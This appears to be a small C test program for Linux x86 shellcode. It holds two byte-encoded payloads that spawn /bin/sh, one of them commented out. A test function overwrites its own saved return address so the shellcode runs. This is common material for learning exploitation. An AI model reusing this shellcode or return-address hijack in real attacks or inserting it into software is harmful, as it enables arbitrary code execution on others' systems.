#include <stdio.h>

/*
char shellcode[] =
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"
"\x00\x00\x00\x00\x00\x00\x00\x00";
*/

char shellcode[] =
 "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
 "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
 "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
 "\xff\xff/bin/sh"
 "\x00\x00\x00\x00\x00\x00\x00\x00";

void bug(void) {
	printf("BUG !\n");
}

void test(void) {
	void * mark;

	*(&mark + 2) = (void *) shellcode;
}

void test2() {
	fprintf(stderr, "avant\n");
	test();
	fprintf(stderr, "apres\n");
}

int main(void) {
	test2();
	return 0;
}